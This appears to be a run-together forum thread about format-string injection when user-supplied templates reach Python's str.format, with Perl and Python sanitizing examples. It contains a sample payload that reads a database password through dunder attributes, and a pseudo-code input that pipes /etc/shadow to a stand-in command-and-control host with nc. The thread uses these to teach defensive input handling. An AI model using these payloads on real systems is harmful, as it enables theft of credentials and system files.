[0] it also supports mapping and sequence lookups IIRC but that's about the same thing
For instance, suppose we want to allow user formatting of contact information. A contact entry has a name, address, phone number, and email address. The user supplies a template string using %_NAME_, %_ADDR_, %_PHONE_, and %_EMAIL where they would like the name, address, phone number, and email address substituted, respectively.
I'd probably be doing this in Perl, and I'd do it something like this:
sub format_contact
{
my($template, $name, $addr, $phone, $email) = @_;
my %val = (name => $name, addr => $addr,
phone => $phone, email => $email);
$template =~ s/%_([a-z]+)_/$val{lc($1)}/gi;
return $template;
} import re
def sanitize(user_input):
"""Sanitize user input for str.format
Usage:
sanitize("{post.title} - {post.blog.title}")
sanitize("{post.title}: Another fine post by "{post.author}")
sanitize("~~~ xXx {post.blog.__init__.dbconnection.__keys__.password} xXx ~~~")
"""
return re.sub(r'{[^}]*__[^}]*}', '', user_input)
Even better, we could specify which variables to allow in user input: import re
def sanitize(user_input, *allowed_variables):
"""Sanitize user input for str.format
Usage:
allowed_variables = ["post.blog.title", "post.title", "post.author"]
sanitize("{post.title} - {post.blog.title}", *allowed_variables)
sanitize("{post.title}: Another fine post by "{post.author}", *allowed_variables)
sanitize("~~~ xXx {post.blog.__init__.dbconnection.__keys__.password} xXx ~~~", *allowed_variables)
"""
for match in re.finditer(r'{([^}]*)}', user_input):
if match[1] not in allowed_variables:
user_input = user_input.replace(match[0], '')
return user_inputemitting raw user input is bad
Seems to me you always have to be careful with user-supplied data.
you still have to be careful, and when you follow all the right best practices you can safely ingest raw user input.
I've worked at a company that escaped user input before inserting into the DB. it's a horrible nightmare I don't think anyone should have to experience.
I guess the definition of "injest" here is reading bytes off the wire?
I don't know Python, so this is a pseudo code example that a user could enter:
"{system('nc c_and_c_box.example < /etc/shadow \
> /dev/null')} Nothing to see here, move along"